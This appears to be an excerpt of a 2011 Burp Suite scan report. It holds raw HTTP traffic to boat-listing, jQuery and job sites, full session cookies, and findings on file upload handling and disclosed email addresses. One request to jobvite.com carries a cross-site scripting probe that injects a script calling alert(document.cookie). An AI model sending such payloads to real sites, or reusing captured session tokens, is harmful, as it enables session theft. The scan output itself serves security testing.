VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:27:30 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Content-Type: text/html; charset=utf-8 Content-Length: 21706
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
GET /boat-loans/consumer_loan_processing.html HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:42 GMT Server: Apache Pragma: No-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-cache Cache-Control: no-store Set-Cookie: JSESSIONID=132B8787464974B44186864C9F5B421F.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title> My YachtWorldLoan - yachtworld.com
<script language="JavaScript" src="https://www.boats.com/includes/web-resources/boat-loans/js/dhtmllib.js"></script> ...[SNIP]... <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="https://www.boats.com/includes/web-resources/js/yw/s_code.js"></script> ...[SNIP]...
GET /boat-loans/forgot_password.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:41 GMT Server: Apache Set-Cookie: JSESSIONID=F61D5398BBCD60968135F133ABF40C44.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title> My YachtWorldLoan - yachtworld.com
<script language="JavaScript" src="https://www.boats.com/includes/web-resources/boat-loans/js/dhtmllib.js"></script> ...[SNIP]... <!-- SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com --> <script language="JavaScript" type="text/javascript" src="https://www.boats.com/includes/web-resources/js/yw/s_code.js"></script> ...[SNIP]...
GET /boat-loans/myLoan.jsp HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:56:36 GMT Server: Apache Set-Cookie: JSESSIONID=C49ADEF3AACD827887E2EE0BB766CCF9.boapp05; Path=/boat-loans; Secure Set-Cookie: boats_temp_info=lf:ywlf; Domain=.boats.com; Path=/ Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html;charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <html> <head> <title>
boat loans, yacht financing and refinancing - yachtworld.com </title>
The page contains a form which is used to submit a user-supplied file to the following URL:
http://malsup.com/jquery/form/files.php
Note that Burp has not identified any specific security vulnerabilities with this functionality, and you should manually review it to determine whether any problems exist.
Issue background
File upload functionality is commonly associated with a number of vulnerabilities, including:
File path traversal
Persistent cross-site scripting
Placing of other client-executable code into the domain
Transmission of viruses and other malware
Denial of service
You should review the file upload functionality to understand its purpose, and establish whether uploaded content is ever returned to other application users, either through their normal usage of the application or by being fed a specific link by an attacker.
Some factors to consider when evaluating the security impact of this functionality include:
Whether uploaded content can subsequently be downloaded via a URL within the application.
What Content-type and Content-disposition headers the application returns when the file's content is downloaded.
Whether it is possible to place executable HTML/JavaScript into the file, which executes when the file's contents are viewed.
Whether the application performs any filtering on the file extension or MIME type of the uploaded file.
Whether it is possible to construct a hybrid file containing both executable and non-executable content, to bypass any content filters - for example, a file containing both a GIF image and a Java archive (known as a GIFAR file).
What location is used to store uploaded content, and whether it is possible to supply a crafted filename to escape from this location.
Whether archive formats such as ZIP are unpacked by the application.
How the application handles attempts to upload very large files, or decompression bomb files.
Issue remediation
File upload functionality is not straightforward to implement securely. Some recommendations to consider in the design of this functionality include:
Use a server-generated filename if storing uploaded files on disk.
Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
Enforce a whitelist of accepted, non-executable file extensions.
If uploaded files are downloaded by users, supply an accurate non-generic Content-type header, and also a Content-disposition header which specifies that browsers should handle the file as an attachment.
Enforce a size limit on uploaded files (for defense-in-depth, this can be implemented both within application code and in the web server's configuration.
Reject attempts to upload archive formats such as ZIP.
Request
GET /jquery/form/ HTTP/1.1 Host: malsup.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Thu, 27 Jan 2011 19:42:24 GMT Server: mod_security2/2.5.7 X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding,User-Agent MS-Author-Via: DAV Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 57977
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
/* SiteCatalyst code version: H.15.1. Copyright 1997-2008 Omniture, Inc. More info available at http://www.omniture.com */ /* Specify the Report Suite ID(s) to track here */
The following email addresses were disclosed in the response:
yourname@company.com
yourname@gmail.com
yourname@hotmail.com
yourname@yahoo.com
Request
GET /CompanyJobs/careers_8.js?v=109 HTTP/1.1 Host: hire.jobvite.com Proxy-Connection: keep-alive Referer: http://hire.jobvite.com/CompanyJobs/Careers.aspx?c=qXY9VfwJ&su=fsY9Vfwe&cs=93q9Vfwh&7246e%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E0b363216a36=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ASP.NET_SessionId=zxau3weru4fb3lbe4ovfsb45; guestidc=980a8eed-7abb-4f24-9da1-d6ed58abf508
Response
HTTP/1.1 200 OK Content-Type: application/x-javascript Last-Modified: Sat, 18 Dec 2010 03:21:22 GMT Accept-Ranges: bytes ETag: "025dba4629ecb1:0" Server: Microsoft-IIS/7.0 X-Powered-By: ASP.NET Date: Thu, 27 Jan 2011 19:19:24 GMT Content-Length: 64810
...var OverlayDialogDefaultWidth = 470; var jvrecipientindex = 1; var jvbaseurl = 'http://www.jobvite.com/' var jvurlargs = ''; var jvurlargsclean = ''; var OverlayDialogInstance = null; var Ove ...[SNIP]... </div>'); _contactImportError = null; } var i = ''; switch (_contactImportSource) { case 'LinkedIn': i += 'yourname@company.com'; break; case 'Yahoo': i += 'yourname@yahoo.com'; break; case 'Gmail': i += 'yourname@gmail.com'; break; case 'Hotmail': i += 'yourname@hotmail.com'; break; default: i = ''; break; } d.addRow('<div"> ...[SNIP]...
The following email addresses were disclosed in the response:
contact@appendTo.com
contact@appendto.com
hello@filamentgroup.com
Request
GET /about HTTP/1.1 Host: jqueryui.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: nginx/0.7.62 Date: Thu, 27 Jan 2011 19:13:08 GMT Content-Type: text/html Connection: close X-Powered-By: PHP/5.2.4-2ubuntu5.10 X-Served-By: www3 X-Proxy: 1 Content-Length: 15111
<!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <title>jQuery UI - About jQuery UI - The jQuery UI Team</title>
The following email address was disclosed in the response:
mcahill@namemedia.com
Request
GET /forum/showthread.php HTTP/1.1 Host: www.reel-time.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- BEGIN TEMPLATE: STANDARD_ERROR -->
The following email address was disclosed in the response:
internetsales@oystercoveboatworks.com
Request
GET /boats/2004/Regulator-32-Fs-2305173/Gloucester/VA/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDU